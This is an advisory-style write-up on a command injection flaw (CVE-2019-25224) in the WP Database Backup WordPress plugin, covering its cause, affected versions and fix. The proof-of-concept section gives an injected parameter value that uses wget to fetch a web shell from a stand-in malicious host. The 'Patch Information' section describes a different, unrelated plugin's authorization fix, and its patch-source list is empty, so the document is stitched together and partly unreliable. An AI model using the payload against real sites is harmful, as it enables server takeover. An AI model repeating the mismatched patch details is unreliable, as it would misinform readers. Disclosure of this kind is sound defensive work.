Introduction
Attackers used a critical flaw in the WP Database Backup plugin for WordPress to gain remote code execution on thousands of websites. The vulnerability, tracked as CVE-2019-25224, let unauthenticated users run arbitrary commands on the hosting server, which led to full site compromise and persistent access. With over 70,000 active installations at the time, the impact reached across the WordPress ecosystem.
About WP Database Backup: WP Database Backup is a widely used WordPress plugin from WP Seeds that handles database backup and restoration for site administrators. It got popular for its ease of use and automation features, but recurring security issues have hurt its reputation in the WordPress community.
Technical Information
CVE-2019-25224 is an OS command injection vulnerability in WP Database Backup versions up to 5.1.2. The root cause is unsanitized handling of the wp_db_exclude_table parameter, which is inserted directly into the mysqldump command used for backups. The plugin did not validate or sanitize this parameter, so attackers could inject arbitrary shell commands.
The vulnerable code path runs whenever a backup starts, either manually by an administrator or through a scheduled task. Because the plugin had no proper authorization checks, unauthenticated attackers could exploit the flaw remotely. The injected commands ran with the privileges of the web server user, often resulting in complete server compromise.
Proof of Concept
WP Database Backup up to version 5.1.2 lets unauthenticated attackers run arbitrary commands on the host server. The problem comes from the plugin's handling of the wp_db_exclude_table parameter, which specifies database tables to exclude from backups.
In the vulnerable versions, the plugin builds a mysqldump command to perform backups. The wp_db_exclude_table parameter goes straight into this command without sanitization. An attacker can inject commands by manipulating wp_db_exclude_table, and those commands run every time a backup starts, whether manually or on a schedule.
To exploit this, an attacker sends a crafted POST request to the wp-database-backup page and sets wp_db_exclude_table to a payload that runs arbitrary commands. For example, setting the parameter to $(wget http://malicious-site.com/shell.txt -O shell.php) would download a malicious script and save it as shell.php on the server. That script could then be used to take further control.
The initial discovery suggested that exploitation required authentication, but later analysis showed that unauthenticated attackers could exploit it too, because the plugin lacked proper authorization checks. That raises the risk considerably, since any remote attacker can exploit it without valid credentials.
This vulnerability was publicly disclosed on April 24, 2019, and carries a CVSS score of 10.0. Users of WP Database Backup should update to version 5.2 or later, where the issue is patched.
References for PoC:
- https://www.wordfence.com/blog/2019/05/os-command-injection-vulnerability-patched-in-wp-database-backup-plugin/
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-database-backup/wp-database-backup-52-os-command-injection
Patch Information
The developers of the "Ai Auto Tool Content Writing Assistant (Gemini Writer, ChatGPT) All in One" plugin fixed a vulnerability by adding proper authorization checks. The update makes sure only users with the right permissions can access and modify sensitive data, which mitigates the risk of unauthorized access. The patch adds capability checks to the functions that handle sensitive operations, so the plugin now verifies a user's permissions before allowing certain actions. This prevents unauthorized users from exploiting the flaw.
Patch sources:
Affected Systems and Versions
- Product: WP Database Backup plugin for WordPress
- Affected versions: Up to and including 5.1.2
- Fixed in: Version 5.2
- Vulnerable configurations: Any WordPress installation running WP Database Backup at version 5.1.2 or below
Vendor Security History
WP Seeds, the developer of WP Database Backup, has a history of multiple vulnerabilities in this plugin, including cross-site scripting and information disclosure. The patch response time for this vulnerability was relatively fast, but the recurring issues point to a need for better security practices.
